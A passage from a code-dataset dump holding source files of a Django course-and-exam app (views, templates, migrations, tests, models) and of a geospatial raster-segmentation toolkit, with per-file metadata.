get(self,request,question_id=0):\n\t\t\"\"\"\n\t\tRenders question form with its possible answers so they can be updated too\n\t\t:param request:\n\t\t:param question_id:\n\t\t:return:\n\t\t\"\"\"\n\t\tif not request.user.is_staff:\n\t\t\treturn HttpResponseForbidden()\n\n\t\ttry: question = Question.objects.active().get(id=question_id)\n\t\texcept Question.DoesNotExist:\n\t\t\treturn HttpResponseForbidden()\n\t\telse:\n\t\t\tquestion_form = QuestionForm(instance=question)\n\t\t\tquestion_form.fields['concepts'].queryset = question.exam.unit.concepts.all()\n\t\t\tanswers = PossibleAnswer.objects.active().filter(question=question)\n\t\t\treturn render_to_response('questions/edit.html',context = RequestContext(request, locals()))\n\n\t@method_decorator(login_required)\n\tdef post(self,request,question_id=0):\n\t\t\"\"\"\n\t\tThis validates and makes the changes done by the user persistent and then renders the Exam view page\n\t\t:param request:\n\t\t:param question_id:\n\t\t:return rendered template:\n\t\t\"\"\"\n\t\tquestion = Question.objects.active().get(id=question_id)\n\t\tquestion_form = QuestionForm(request.POST,instance=question)\n\t\tif question_form.is_valid():\n\t\t\tquestion = question_form.instance\n\t\t\tquestion_form.save()\n\t\t\tmensaje = \"La pregunta se actualizó correctamente\"\n\t\t\tmessages.add_message(request,messages.SUCCESS,mensaje)\n\t\t\treturn redirect(reverse('examenes:view',kwargs={'exam_id': question.exam.id}))\n\n\t\tmessages.add_message(request, messages.ERROR, 'Favor de llenar todos los campos')\n\t\tquestion_form.fields['concepts'].queryset = question.exam.unit.concepts.all()\n\t\tanswers = PossibleAnswer.objects.active().filter(question=question)\n\t\treturn render_to_response('questions/edit.html',context = RequestContext(request, locals()),status=401)\n\nedit = EditQuestionView.as_view()" }, { "alpha_fraction": 0.28504490852355957, "alphanum_fraction": 0.2893401086330414, "avg_line_length": 43.92982482910156, "blob_id": "f36f9611eddc2ebf7b0da6665882641f1eb30ad7", "content_id": "79082043e477e4b9d754ae4026a6fdcfd2365fa1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 2561, "license_type": "no_license", "max_line_length": 95, "num_lines": 57, "path": "/apps/evaluation/templates/questions/questions.html", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "{% block lista %}\n<div id=\"question-container\">\n <hr>\n <div class=\"title\">\n <h3>Preguntas</h3>\n </div>\n {% if not preguntas %}\n <p>No hay preguntas para este examen</p>\n {% else %}\n <div class=\"list-group\" id=\"quest-container\">\n {% for p in preguntas %}\n <div class=\"col-md-11\">\n <button type=\"button\" class=\"list-group-item\"\n data-toggle=\"collapse\" data-target=\"#q-{{ p.id }}\"\n aria-expanded=\"false\" aria-controls=\"q-{{ p.id }}\">\n {{ p }}\n </button>\n </div>\n <div class=\"col-md-1\">\n <a class=\"btn btn-primary btn-block\" href=\"{% url 'preguntas:edit' p.id%}\">\n <span class=\"glyphicon glyphicon-edit\"></span>\n </a>\n </div>\n <div id=\"q-{{ p.id }}\" class=\"collapse col-md-11\">\n <div class=\"row\">\n <div class=\"col-md-12\">\n <ul class=\"list-group\">\n <li class=\"list-group-item\">\n <div class=\"row\">\n <div class=\"col-lg-12\">\n {% for c in p.concepts.all %}\n <div class=\"concept right\">{{ c }}</div>\n {% endfor %}\n </div>\n </div>\n </li>\n {% for a in p.answers %}\n {% if a.correct %}\n <li class=\"list-group-item list-group-item-success\">\n <span class=\"glyphicon glyphicon-ok\"></span>\n {{ a.text }}\n </li>\n {% else %}\n <li class=\"list-group-item\">\n {{ a.text }}\n </li>\n {% endif %}\n {% endfor %}\n </ul>\n </div>\n </div>\n </div>\n {% endfor %}\n </div>\n {% endif %}\n</div>\n{% endblock %}\n" }, { "alpha_fraction": 0.5415468215942383, "alphanum_fraction": 0.5450623035430908, "avg_line_length": 44.34782791137695, "blob_id": "e80b5d38c911085dfe76b13a1c17299fc062753b", "content_id": "619470d898713e0069cc24f488a022a0fb8f5482", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6258, "license_type": "no_license", "max_line_length": 141, "num_lines": 138, "path": "/apps/evaluation/migrations/0001_initial.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='ChosenAnswer',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('active', models.BooleanField(default=True, verbose_name='is active')),\n ],\n options={\n 'verbose_name': 'respuesta',\n 'verbose_name_plural': 'respuestas',\n },\n ),\n migrations.CreateModel(\n name='Concept',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('active', models.BooleanField(default=True, verbose_name='is active')),\n ('name', models.CharField(max_length=200)),\n ('posX', models.FloatField(null=True, blank=True)),\n ('posY', models.FloatField(null=True, blank=True)),\n ('required_by', models.ManyToManyField(related_name='prerequisite', null=True, to='evaluation.Concept', blank=True)),\n ],\n options={\n 'verbose_name': 'concepto',\n 'verbose_name_plural': 'conceptos',\n },\n ),\n migrations.CreateModel(\n name='Course',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('active', models.BooleanField(default=True, verbose_name='is active')),\n ('name', models.CharField(max_length=64, verbose_name='nombre del curso')),\n ('code', models.CharField(max_length=100, verbose_name='clave del curso')),\n ('students', models.ManyToManyField(related_name='students', null=True, to=settings.AUTH_USER_MODEL, blank=True)),\n ('teacher', models.ForeignKey(related_name='profesor', verbose_name='profesor', to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'verbose_name': 'curso',\n 'verbose_name_plural': 'cursos',\n },\n ),\n migrations.CreateModel(\n name='Exam',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('active', models.BooleanField(default=True, verbose_name='is active')),\n ('name', models.CharField(max_length=60)),\n ('instructions', models.CharField(max_length=400, blank=True)),\n ('activated', models.BooleanField(default=False)),\n ('duration', models.TimeField(null=True)),\n ],\n options={\n 'verbose_name': 'examen',\n 'verbose_name_plural': 'ex\\xe1menes',\n },\n ),\n migrations.CreateModel(\n name='PossibleAnswer',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('active', models.BooleanField(default=True, verbose_name='is active')),\n ('text', models.TextField(max_length=500)),\n ('correct', models.BooleanField(default=False)),\n ],\n options={\n 'verbose_name': 'opci\\xf3n',\n 'verbose_name_plural': 'opciones',\n },\n ),\n migrations.CreateModel(\n name='Question',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('active', models.BooleanField(default=True, verbose_name='is active')),\n ('sentence', models.TextField()),\n ('points', models.PositiveSmallIntegerField()),\n ('concepts', models.ManyToManyField(related_name='related_concepts', null=True, to='evaluation.Concept', blank=True)),\n ('exam', models.ForeignKey(related_name='exam', to='evaluation.Exam', null=True)),\n ],\n options={\n 'verbose_name': 'pregunta',\n 'verbose_name_plural': 'preguntas',\n },\n ),\n migrations.CreateModel(\n name='Unit',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('active', models.BooleanField(default=True, verbose_name='is active')),\n ('name', models.CharField(max_length=100, verbose_name='nombre de la unidad')),\n ('concepts', models.ManyToManyField(related_name='concept', verbose_name='conceptos relacioandos', to='evaluation.Concept')),\n ('course', models.ForeignKey(related_name='course', verbose_name='curso', to='evaluation.Course')),\n ],\n options={\n 'verbose_name': 'unidad',\n 'verbose_name_plural': 'unidades',\n },\n ),\n migrations.AddField(\n model_name='possibleanswer',\n name='question',\n field=models.ForeignKey(related_name='question', to='evaluation.Question', null=True),\n ),\n migrations.AddField(\n model_name='exam',\n name='unit',\n field=models.ForeignKey(related_name='unit', to='evaluation.Unit'),\n ),\n migrations.AddField(\n model_name='chosenanswer',\n name='answer',\n field=models.ForeignKey(related_name='chosen', to='evaluation.PossibleAnswer'),\n ),\n migrations.AddField(\n model_name='chosenanswer',\n name='question',\n field=models.ForeignKey(related_name='section', to='evaluation.Question', null=True),\n ),\n migrations.AddField(\n model_name='chosenanswer',\n name='student',\n field=models.ForeignKey(related_name='student', to=settings.AUTH_USER_MODEL),\n ),\n ]\n" }, { "alpha_fraction": 0.684684693813324, "alphanum_fraction": 0.6921921968460083, "avg_line_length": 23.648147583007812, "blob_id": "814e39120877b088d92a0f4e5bb941a19e89a89f", "content_id": "74119974ae83fd4de048f4946b1ac4bedb585d9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1332, "license_type": "no_license", "max_line_length": 90, "num_lines": 54, "path": "/apps/evaluation/tests/exams.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom apps.evaluation.models import (\n\tExam,\n\tQuestion,\n\tPossibleAnswer\n)\nfrom django.contrib.auth.models import User\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.contrib.auth import get_user_model\nfrom django.test import TestCase, Client\nimport json\nimport os\n\n__all__ = [\n\t'ExamTest'\n]\nUser = get_user_model()\n\n\nclass ExamTest(TestCase):\n\n\tfixtures = [ 'users','concepts', 'courses', 'units']\n\tdef setUp(self):\n\t\tself.client = Client(enforce_csrf_checks=False,HTTP_X_REQUESTED_WITH = 'XMLHttpRequest')\n\t\tself.user = User.objects.create_user(\n\t\t\temail_address = '[email protected]',\n\t\t\tusername='test',\n\t\t\tpassword = 'asdfgh',\n\t\t\tis_staff= True\n\t\t)\n\n\tdef test_add_question(self):\n\n\t\tself.client.login(username='test',password='asdfgh')\n\n\t\texam = Exam.objects.create(\n\t\t\tname='test exam',\n\t\t\tunit=1,\n\t\t\tactivated=True\n\t\t)\n\t\tresponse = self.client.post(reverse_lazy('preguntas:crear'), data = {\n\t\t\t'sentence': 'Pregunta prueba 1',\n\t\t\t'points': 5,\n\t\t\t'exam': 1,\n\t\t\t'answers':['opcion a','opcion b','opcion c'],\n\t\t\t'correct_answer':'opcion a'\n\t\t\t})\n\t\tans = PossibleAnswer.objects.get(id = 1)\n\t\tquest = Question.objects.get(id=1)\n\n\t\tself.assertEqual(response.status_code,200)\n\t\tself.assertEqual(ans,quest.correct_answer)\n\t\tself.assertEqual(quest.exam,exam)\n\n" }, { "alpha_fraction": 0.7804877758026123, "alphanum_fraction": 0.7804877758026123, "avg_line_length": 26.66666603088379, "blob_id": "e9b5ef8c0166bc626b95a577dc8a95090a511bf1", "content_id": "db0f92f8848d4dfc0d68ffac60d3b2a04ae3448f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 82, "license_type": "no_license", "max_line_length": 39, "num_lines": 3, "path": "/apps/evaluation/forms/__init__.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\nfrom exams import *\nfrom accounts import *" }, { "alpha_fraction": 0.791540801525116, "alphanum_fraction": 0.7945619225502014, "avg_line_length": 40.25, "blob_id": "d4aba27228b1d3c357a0f98717d359b57d457485", "content_id": "8b2667fe436c4749d7903487864610e19903e331", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 331, "license_type": "no_license", "max_line_length": 55, "num_lines": 8, "path": "/apps/evaluation/models/users.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.utils.translation import ugettext_lazy as _\nfrom model_utils.managers import InheritanceManager\nfrom django.utils.encoding import smart_str\nfrom django.db.models import *\nfrom _base import Model, ActiveManager\nfrom django.contrib.auth.models import User\n\n" }, { "alpha_fraction": 0.60819011926651, "alphanum_fraction": 0.612740159034729, "avg_line_length": 26.082191467285156, "blob_id": "7485751d3ceaf7a9bf49e35c752e8fa6b83d35e6", "content_id": "a518848cb9eb6e6cc077326837fdd249acc74f02", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1978, "license_type": "no_license", "max_line_length": 90, "num_lines": 73, "path": "/apps/evaluation/models/courses.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.db.models import *\nfrom _base import Model\nfrom django.contrib.auth.models import User\n\nclass Course(Model):\n\t\"\"\" Course offered by instructor during a fixed period. Courses may only be offered once.\n\t\tFields:\n\t\t\t-course name: official course name\n\t\t\t-course key: unique key used to locate course, external use only\n\t\t\t-students: users enrolled in course\n\t\t\t-teacher: user teaching the course\n\t\"\"\"\n\n\tname = CharField(\n\t\tmax_length = 64,\n\t\tverbose_name = _('nombre del curso')\n\t)\n\tcode = CharField(\n\t\tverbose_name=_('clave del curso'),\n\t\tmax_length=100\n\t)\n\tteacher = ForeignKey(User,\n\t related_name='profesor',\n\t verbose_name= 'profesor'\n\n\t)\n\tstudents = ManyToManyField(User,\n\t related_name='students',\n\t null = True,\n\t blank=True\n\t)\n\tdef __unicode__(self):\n\t\treturn self.name\n\n\tclass Meta(object):\n\n\t\tverbose_name = _('curso')\n\t\tverbose_name_plural= _('cursos')\n\t\tapp_label = 'evaluation'\n\nclass Unit(Model):\n\t\"\"\" Each one of the course's divisions; a unit is about one main concept,\n\t\tverbose_name = _('type name') topic.\n\t\tFields:\n\t\t\tname: unit's name\n\t\t\tconcepts: concepts related to the unit\n\t\t\tcourse: the course related to current unit\n\t\"\"\"\n\n\tname = CharField(\n\t\tmax_length=100,\n\t\tverbose_name=_('nombre de la unidad')\n\t)\n\tconcepts = ManyToManyField('evaluation.Concept',\n\t related_name='concept',\n\t verbose_name=_('conceptos relacioandos')\n\n\t)\n\tcourse = ForeignKey('evaluation.Course',\n\t related_name='course',\n\t null= False,\n\t verbose_name=_('curso')\n\t)\n\tdef __unicode__(self):\n\t\treturn self.name\n\n\tclass Meta(object):\n\t\tverbose_name = _('unidad')\n\t\tverbose_name_plural =_('unidades')\n\t\tapp_label= 'evaluation'\n\n" }, { "alpha_fraction": 0.6803343296051025, "alphanum_fraction": 0.6927929520606995, "avg_line_length": 29.781553268432617, "blob_id": "8b0582a22af7997ac2dfb70d33b41f1306854381", "content_id": "197494c7dbd9d05d2abe49bbbc51c10736a4696f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6341, "license_type": "no_license", "max_line_length": 109, "num_lines": 206, "path": "/apps/evaluation/views/concepts.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\nfrom django.shortcuts import render_to_response, RequestContext\nfrom apps.evaluation.models import Concept,Course, Unit, ChosenAnswer, Exam, Question\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom apps.evaluation.decorators import ajax_required\nfrom django.core.validators import URLValidator\nfrom django.http import HttpResponseForbidden\nfrom django.views.generic import View\nfrom django.http import JsonResponse\nimport json\n\n__all__=[\n\t'create',\n\t'hierarchy',\n\t'resource',\n\t'resource_path'\n]\n\nclass CreateConceptView(View):\n\t\"\"\" This view is in charge of creating the concepts involved in a unit via AJAX requests.\n\t\tWhen the user registers a unit, there is a text input where he can type the concepts name\n\t\tand hit enter to create them. This view is called every time the user writes a valid and unique\n\t\tconcept name and hits enter.\n\t\"\"\"\n\n\t@method_decorator(login_required)\n\t@method_decorator(ajax_required)\n\tdef post(self,request):\n\t\t\"\"\"\n\t\tThe request contains the action the user took. If the user intends to add a concept,\n\t\tit will be checked that there is no other concept by that name. If not, the instance\n\t\tis created and a JSONResponse is sent so the template shows the recently created concept.\n\t\tIf the action taken was delete, the view receives the concept id so it can be deleted.\n\t\tA JsonResponse is sent only to indicate the operation was successful\n\t\t:param request:\n\t\t:return JSONResponse:\n\t\t\"\"\"\n\t\tif request.POST['action'] == 'agregar':\n\t\t\tif not Concept.objects.active().filter(name = request.POST['name']).exists():\n\t\t\t\tconcept = Concept.objects.create(name = request.POST['name'])\n\t\t\t\treturn JsonResponse({\n\t\t\t\t\t\t'version': '1.0.0',\n\t\t\t\t\t\t'status': 201,\n\t\t\t\t\t\t'data': {'name': concept.name, 'id': concept.id}\n\t\t\t\t\t}, status = 201)\n\t\t\telse:\n\t\t\t\treturn JsonResponse({\n\t\t\t\t\t\t'version': '1.0.0',\n\t\t\t\t\t\t'status': 401,\n\t\t\t\t\t}, status = 401)\n\n\t\telif request.POST['action'] == 'borrar':\n\t\t\tconcept = Concept.objects.get(id = request.POST['id'])\n\t\t\tconcept.delete()\n\t\t\treturn JsonResponse({\n\t\t\t\t\t\t'version': '1.0.0',\n\t\t\t\t\t\t'status': 201,\n\t\t\t\t\t}, status = 201)\n\ncreate = CreateConceptView.as_view()\n\nclass AddResourceView(View):\n\n\t@method_decorator(ajax_required)\n\tdef get(self,request):\n\t\tcon = Concept.objects.get(id=request.GET[\"id\"])\n\t\tif con.resource:\n\t\t\treturn JsonResponse({\n\t\t\t\t\t\t'version': '1.0.0',\n\t\t\t\t\t\t'status': 201,\n\t\t\t\t\t\t'data': {'url': con.resource}\n\t\t\t\t\t}, status = 201)\n\t\telse:\n\t\t\treturn JsonResponse({\n\t\t\t\t\t\t'version': '1.0.0',\n\t\t\t\t\t\t'status': 201,\n\t\t\t\t\t\t'data': {'url': \"none\"}\n\t\t\t\t\t}, status = 201)\n\n\tdef post(self, request):\n\n\t\tvalidate = URLValidator()\n\t\turl = request.POST[\"resource\"]\n\t\ttry:\n\t\t\tvalidate(url)\n\t\t\tcon = Concept.objects.get(id=request.POST['id'])\n\t\t\tcon.resource = request.POST[\"resource\"]\n\t\t\tcon.save()\n\n\t\t\treturn JsonResponse({\n\t\t\t\t\t\t'version': '1.0.0',\n\t\t\t\t\t\t'status': 201,\n\t\t\t\t\t}, status = 201)\n\t\texcept:\n\t\t\treturn JsonResponse({\n\t\t\t\t\t\t'version': '1.0.0',\n\t\t\t\t\t\t'status': 201,\n\t\t\t\t\t}, status = 400)\n\nresource = AddResourceView.as_view()\n\nclass CreateHierarchyView(View):\n\t\"\"\" This view is in charge of creating a concept hierarchy by displaying a concept editor\n\t\tThe user makes a relationship between each concept and submits the graph structure\n\t\tThe hierarchy is made persistent for future use\n\n\t\"\"\"\n\t@method_decorator(login_required)\n\tdef get(self,request,course_id):\n\t\t\"\"\"\n\t\tThis method obtains a list of concepts related to every unit in the requested course\n\t\tand renders the template that shows them in the concept editor page\n\t\t:param request: HTTP GET request\n\t\t:param course_id: current course's id\n\t\t:return rendered template:\n\t\t\"\"\"\n\t\tif not request.user.is_staff:\n\t\t\treturn HttpResponseForbidden()\n\n\t\tcourse = Course.objects.active().get(id=course_id)\n\t\tunits = Unit.objects.active().filter(course=course)\n\t\tconcepts = list()\n\t\tlines = []\n\n\t\tfor u in units:\n\t\t\tconcepts.extend(u.concepts.all())\n\n\t\tfor c in concepts:\n\t\t\trelated = c.prerequisite.all()\n\t\t\tfor r in related:\n\t\t\t\tlines.append({'concept' : c.id, 'prerequisite':r.id})\n\n\t\tlinesjson = json.dumps(lines)\n\n\t\treturn render_to_response('concepts/hierarchy.html',context = RequestContext(request, locals()))\n\n\t@method_decorator(login_required)\n\t@method_decorator(ajax_required)\n\tdef post(self, request, course_id):\n\t\t\"\"\"\n\t\tThis method makes the hierarchy created by the user persistent.\n\t\tIt receives a list of concepts, each concept contains its related concept's id\n\t\tEach related concept is stored in the concept's 'related' set\n\t\t:param request:\n\t\t:param course_id:\n\t\t:return:\n\t\t\"\"\"\n\t\tif not request.user.is_staff:\n\t\t\treturn HttpResponseForbidden()\n\n\t\tconcepts = json.loads(request.POST['concepts'])\n\t\tif concepts:\n\t\t\tfor c in concepts:\n\t\t\t\tfather = Concept.objects.get(id = c['id'])\n\t\t\t\tif c['related']:\n\t\t\t\t\tfor r in c['related']:\n\t\t\t\t\t\tchild = Concept.objects.active().get(id = r)\n\t\t\t\t\t\tfather.required_by.add(child)\n\n\t\t\t\tfather.posX = c['posX']\n\t\t\t\tfather.posY = c['posY']\n\t\t\t\tfather.save()\n\n\t\t\treturn JsonResponse({\n\t\t\t\t\t\t'version': '1.0.0',\n\t\t\t\t\t\t'status': 201,\n\t\t\t\t\t}, status = 201)\n\n\t\treturn render_to_response('concepts/hierarchy.html',context = RequestContext(request, locals()),status=401)\n\nhierarchy = CreateHierarchyView.as_view()\n\nclass ViewResourcesView(View):\n\n\tdef get(self, request, course_id):\n\n\t\tstudent = request.user\n\t\tcourse = Course.objects.get(id=course_id)\n\t\tchosen_answers = ChosenAnswer.objects.active().filter(student = student).all()\n\t\tmissing_concepts = set()\n\t\tpaths = []\n\t\tdesc = []\n\n\t\tfor c in chosen_answers: #agregar conceptos directamente incomprendidos\n\t\t\tif not c.answer.correct and c.question.exam.unit.course == course:\n\t\t\t\tmissing_concepts.update(c.question.concepts.all())\n\n\t\tfor i in missing_concepts: #cada camino inicia con un concepto directamente incomprendido\n\t\t\tdesc.extend(i.required_by.all())\n\t\t\ti.children =[]\n\t\t\tfor j in desc: # recorrido por amplitud\n\t\t\t\tif j in missing_concepts: desc.remove(j)\n\t\t\t\tfor k in j.required_by.all():\n\t\t\t\t\tif k not in missing_concepts and k not in desc:\n\t\t\t\t\t\tdesc.append(k)\n\n\t\t\t\ti.children.extend(desc)\n\t\t\tpaths.append(i)\n\t\t\tdesc[:] = []\n\n\t\treturn render_to_response('results/resources.html', context=RequestContext(request, locals()), status=201)\n\nresource_path = ViewResourcesView.as_view()\n" } ]
28
maxwesemeyer/Wes_Tools
https://github.com/maxwesemeyer/Wes_Tools
a7e57fdb4d2f407948d90e51f24c9f2761ead950
e5ce57f94e7472342a9f2712d34a28d5da59a637
16f8ebf0f87a27146736f21c5decdf885ba1ded5
refs/heads/master
2021-06-24T03:55:37.966001
2021-01-25T15:56:21
2021-01-25T15:56:21
188,797,737
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7808988690376282, "alphanum_fraction": 0.7808988690376282, "avg_line_length": 28.66666603088379, "blob_id": "57944939d07b9f5376cdf71fee03fa57bc9f3a7c", "content_id": "8f78bfdab0408860381443bc9dfdd3f7065d2fc6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 178, "license_type": "no_license", "max_line_length": 63, "num_lines": 6, "path": "/README.md", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "# Wes_Tools\n\nA set of Tools that can be used for Object based image analysis\nIn development...\nThis package is needed for the segmentation:\nhttps://github.com/cgre-aachen/bayseg\n" }, { "alpha_fraction": 0.47922489047050476, "alphanum_fraction": 0.5135084986686707, "avg_line_length": 47.35135269165039, "blob_id": "685964bd573a282d748f95e1358cf11b5031b417", "content_id": "40ab99892a43dd6f79592b0d1d4af1cf54aabbeb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5367, "license_type": "no_license", "max_line_length": 138, "num_lines": 111, "path": "/Scripts/Segment_force_.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "import sys\nsys.path.append(r'\\\\141.20.140.91/SAN/_ProjectsII/Grassland/temp/temp_Max/Tools')\nimport os\nimport glob\nfrom joblib import Parallel, delayed\nimport time\nfrom Wes_Tools.__geometry_tools import *\nfrom Wes_Tools.Accuracy_ import *\nfrom Wes_Tools.Plots_OBIA import *\nfrom Wes_Tools.__Segmentor import *\nfrom Wes_Tools.__CNN_segment import *\nfrom Wes_Tools.__Join_results import *\nfrom Wes_Tools.__geometry_tools import *\nfrom affine import Affine\n\n\ndef main():\n prefix_network_drive = r'\\\\141.20.140.91/SAN/_ProjectsII/Grassland/'\n data_path = prefix_network_drive + 'temp/temp_Max/Data/'\n\n dp_data = prefix_network_drive + 'SattGruen/Analyse/Mowing_detection/Data/Raster/AN3_BN1/X0066_Y0042/'\n vector_paths = Shape_finder(dp_data, \".*[m[a][s][k].*[s][h][p]{1,2}$\")\n vector_paths = [vector_paths[0]]\n print(vector_paths)\n another_counter = 0\n for vector_path in vector_paths:\n\n force_tile = vector_path.split('/')[-2]\n\n print(vector_path, force_tile)\n gdf_ = gpd.GeoDataFrame(pd.concat([gpd.read_file(vector_path)], ignore_index=True),\n crs=\"EPSG:3035\")\n\n mask = gdf_.area > 500\n gdf = gdf_.loc[mask]\n\n box_counter = 100\n\n PCA_ = [False]\n filter_ = 'bilateral' # , 'no_filter']\n stencil_ = \"4p\" # , \"8p\"]\n segmentation_rounds = [0.5, 0.01, 0.51]\n n_band = 13\n n_class = 5\n\n for ct, roundo in enumerate(segmentation_rounds):\n\n try:\n shutil.rmtree(data_path + 'output/')\n except:\n print('')\n os.mkdir(data_path + 'output')\n print('ROUNd', roundo)\n\n if roundo == 0.5:\n data_patg_alt = find_matching_raster(vector_path,\n prefix_network_drive + 'SattGruen/Analyse/Mowing_detection/Data/Raster/S-1/',\n \".*[c][k][e][d].*[t][i][f]{1,2}$\")\n print(data_patg_alt)\n clf = segmentation_BaySeg(n_band=11, custom_subsetter=range(10, 21), _filter=filter_,\n MMU=roundo, into_pca=11, beta_coef=40, beta_jump=1,\n PCA=False, n_class=4, iterations=10, neighbourhood=stencil_)\n Parallel(n_jobs=2)(\n delayed(clf.segment_2)(data_patg_alt, vector_geom=row, data_path_output=data_path,\n indexo=index) for index, row in gdf.iterrows())\n if roundo == 0.01:\n different_raster = find_matching_raster(vector_path,\n prefix_network_drive + '/SattGruen/Analyse/Mowing_detection/Data/Raster/AN3_BN1/',\n \".*[E][V][I].*[B][M].*[t][i][f]{1,2}$\")\n # different_raster = r'H:\\Grassland\\EVI\\X0068_Y0042/2017-2019_001-365_HL_TSA_LNDLG_EVI_TSS.tif'\n # different_raster = r'X:\\temp\\temp_Max/TS_X0068_Y0042.tif'\n clf = segmentation_BaySeg(n_band=n_band, custom_subsetter=range(2, 11), _filter=filter_,\n MMU=roundo, into_pca=40, beta_coef=50, beta_jump=1.5,\n PCA=False, n_class=n_class, iterations=10)\n Parallel(n_jobs=4)(\n delayed(clf.segment_2)(different_raster, vector_geom=row, data_path_output=data_path,\n indexo=index) for index, row in gdf.iterrows())\n\n if roundo == 0.51:\n different_raster = find_matching_raster(vector_path,\n prefix_network_drive + '/SattGruen/Analyse/Mowing_detection/Data/Raster/AN3_BN1/',\n \".*[E][V][I].*[B][M].*[t][i][f]{1,2}$\")\n # different_raster = r'H:\\Grassland\\EVI\\X0068_Y0042/2017-2019_001-365_HL_TSA_LNDLG_EVI_TSS.tif'\n # different_raster = r'X:\\temp\\temp_Max/TS_X0068_Y0042.tif'\n clf = segmentation_BaySeg(n_band=n_band, custom_subsetter=range(2, 11), _filter=filter_,\n MMU=roundo, into_pca=40, beta_coef=50, beta_jump=1.5,\n PCA=False, n_class=n_class, iterations=10)\n Parallel(n_jobs=4)(\n delayed(clf.segment_2)(different_raster, vector_geom=row, data_path_output=data_path,\n indexo=index) for index, row in gdf.iterrows())\n\n joined = join_shapes_gpd(data_path + 'output/', own_segmentation='own')\n gdf = joined\n\n shutil.rmtree(data_path + 'output/')\n\n field_counter = \"{}{}{}{}{}{}{}{}\".format(str(filter_), \"_\", str(stencil_), \"_\", str(n_band), '_',\n ct, \"_\" + str(another_counter) + \"_\")\n box_counter += 1\n another_counter += 10\n print(field_counter)\n segmented_file_path = dp_data + force_tile + '/segmentation_' + force_tile + '.shp'\n joined.to_file(segmented_file_path)\n\n\nif __name__ == '__main__':\n start = time.time()\n print('started at:', start)\n main()\n end = time.time()\n elapsed_time = end - start\n" }, { "alpha_fraction": 0.6229074597358704, "alphanum_fraction": 0.6317180395126343, "avg_line_length": 36.83333206176758, "blob_id": "40964b09bc43efd3ea8479a692df44eebf895d05", "content_id": "f3610e76f8aa1994b2d4c81e1bb2d5c4434dd89e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1135, "license_type": "no_license", "max_line_length": 99, "num_lines": 30, "path": "/__Join_results.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "import os\nimport geopandas as gpd\nimport pandas as pd\nimport numpy as np\n\n\ndef join_shapes_gpd(path_to_shapes, own_segmentation=None, KBS=\"EPSG:3035\"):\n file = os.listdir(path_to_shapes)\n path = [os.path.join(path_to_shapes, i) for i in file if \".shp\" in i]\n gdf = gpd.GeoDataFrame(pd.concat([gpd.read_file(i) for i in path], ignore_index=True), crs=KBS)\n if own_segmentation=='own':\n # drop cluster number 0, which is all no grassland polygons\n indexNames = gdf[gdf['Cluster_nb'] == 0].index\n gdf.drop(indexNames, inplace=True)\n\n # drop all entries with field nb = na, which don't have a geometry and are duplicates\n indexNames_2 = gdf[np.isnan(gdf['field_nb'])].index\n gdf.drop(indexNames_2, inplace=True)\n numbers = range(len(gdf['Cluster_nb']+1))\n seq = [number for number in numbers]\n print(seq, gdf)\n gdf['Cluster_nb'] = seq\n return gdf\n elif own_segmentation=='adaptor':\n indexNames = gdf[gdf['Cluster_nb'] == 0].index\n gdf.drop(indexNames, inplace=True)\n print(gdf)\n return gdf\n else:\n return gdf\n" }, { "alpha_fraction": 0.5132096409797668, "alphanum_fraction": 0.5245456099510193, "avg_line_length": 35.45964813232422, "blob_id": "c1fadf157f3adf34bf670830474be27152b6ec70", "content_id": "bd8f288df02d3450c5c5754b5e8f682e9bc1d122", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10674, "license_type": 